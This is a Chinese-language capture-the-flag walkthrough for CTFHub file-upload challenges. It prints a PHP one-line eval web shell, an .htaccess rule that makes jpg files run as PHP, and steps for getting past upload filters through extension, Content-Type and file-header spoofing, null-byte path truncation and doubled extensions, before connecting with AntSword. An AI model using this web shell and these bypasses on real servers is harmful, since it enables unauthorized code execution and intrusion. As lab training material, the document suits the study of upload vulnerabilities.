首先打开CTFHub
找到文件上传
启动环境
上传事先备好的一句话木马
<?php @eval($_POST['shell']);?>
上传完成后,开启蚁剑
用蚁剑找到flag
上传php文件,前端会显示不允许上传php文件
找到代码查看允许上传的后缀
将一句话的木马的后缀更改后上传
又通过burp抓包,修改filename="1.php"和Content-Type:php
然后发送数据包,页面会显示上传成功
再次使用蚁剑链接
再去找到flag
先进行上传.htaccess文件
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传成功后,会将我们上传的jpg文件解析成php文件
上传图片码1.jpg
<?php @eval($_POST['shell']);?>
再次使用蚁剑连接
注意后缀
找到flag
然后MIME绕过
先试着上传php文件,会出现文件类型不对,
但做前端验证的时候是该文件不允许上传
那就说明他不是根据我们的文件后缀来过滤
然后进行抓包将Content-Type修改为image/jpg,发送数据包
然后就能上传成功
再蚁剑连接
找到flag
00截断
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
尝试上传php文件
继续用bp抓包
filename="1.php%001.jpg"
/?road=/var/www/html/upload/1.php%001.jpg
在road后添加上1.php%001.jpgroad 就会使后面部分失去效果,上传后的路径即被固定,可以使用蚁剑进行连接
发送数据包,页面显示上传成功
用蚁剑连接,因为修改了road,所以路径是/upload/1.php
双写后缀
启动环境分析源码这里使用str_ireplace()函数将我们的后缀替换成空的,但是只替换一次,双写绕过
上传成功后会看到文件后缀为php
还是使用蚁剑连接来获得flag
文件头检查
上传php文件进行抓包,Content-type修改为图片类型image/jpe,再在文件内容收不添加IGF89a图形文件
发送数据包
然后用蚁剑连接获取flag
全部就已结束!